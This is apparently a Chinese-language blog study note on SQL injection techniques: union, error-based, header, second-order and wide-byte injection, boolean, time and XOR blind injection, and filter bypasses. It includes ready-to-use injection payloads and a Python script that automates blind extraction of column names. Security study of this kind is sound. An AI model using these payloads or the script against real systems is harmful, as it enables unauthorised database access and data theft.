sql注入学习

前置知识

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  • 常用查询信息
    • database() # 在用的数据库
    • user() # 用户信息
    • version() # 数据库版本信息
    • @@basedir # 数据库安装路径
    • @@version_compile_os # 操作系统版本
group_concat函数:将查询到的多行结果连接成字符串

 注释方式

  • # 号注释
  • %23 注释
  • --+ 注释

有回显

基于联合查询

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。

?id=1' and 1=2 union select 1,2,3--+

基于错误回显

报错注入就是利用了数据库的某些机制,制造错误条件,使得我们想要得到的结果能够出现在错误信息中。

extractvalue()

extractvalue() :对XML文档进行查询的函数

extractvalue (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称
  第二个参数:XPath_string (Xpath格式的字符串)

extractvalue(1,concat(1,(select database())))

updatexml()

updatexml():是对XML文档数据进行查询和修改的XPATH函数 

updatexml (xml_document, XPathstring, new_value)。

第一个参数:xml_document,文档名称。

第二个参数:XPathstring (Xpath格式的字符串),做内容定位。

第三个参数:new_value,String格式,替换查找到的符合条件的值。
 

 

updatexml(1,concat(0x7e,database(),0x7e),1)

floor(rand(0)*2)

  • floor(x):对参数x向下取整
  • rand():生成一个0~1之间的随机浮点数
  • count(*):统计某个表下总共有多少条记录
  • group by x: 按照 (by) 一定的规则(x)进行分组

报错原理:group by与rand(0)使用时,如果临时表中没有该主键,则在插入前会再计算一次
rand(0),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错 

?id=1 union select (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a) //将payload插入即可

Mysql报错注入之floor(rand(0)*2)报错原理探究

基于请求报头

基于cookie

基于user-agent

基于Referer

base64注入

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。

宽字节注入

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在这次编码中,%df%5c被合并成了一个新的字节,而%27则被当做单引号,这样就实现了闭合

宽字节注入深度讲解 

无回显(盲注)

SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注

布尔盲注

盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False

流程:
求当前数据库的长度以及ASCII
求当前数据库表的ASCII
求当前数据库表中的个数
求当前数据库表中其中一个表的表名长度
求当前数据库中其中一个表的表名的ASCII
求列名的数量
求列名的长度
求列名的ascii
求字段的数量
求字段内容的长度
求字段内容的ascii

时间注入

数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。

 异或盲注

异或'^'是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真

附上我的脚本

import requests
flag = ""
for i in range(1, 100):
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        url="/?id=1^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),{0},1))>{1})".format(i,mid)
        res = requests.get(url=url)
        if ''(这里面填写id为0或错误时页面输出的特征文字) in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 127):
        break
    flag = flag + chr(mid)
    print(flag)

常见防御及绕过

过滤空格

以下可以绕过

/**/

()

%a0

大小写关键字绕过

uNioN SeleCt

替换关键字 

ununionion selselectect

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值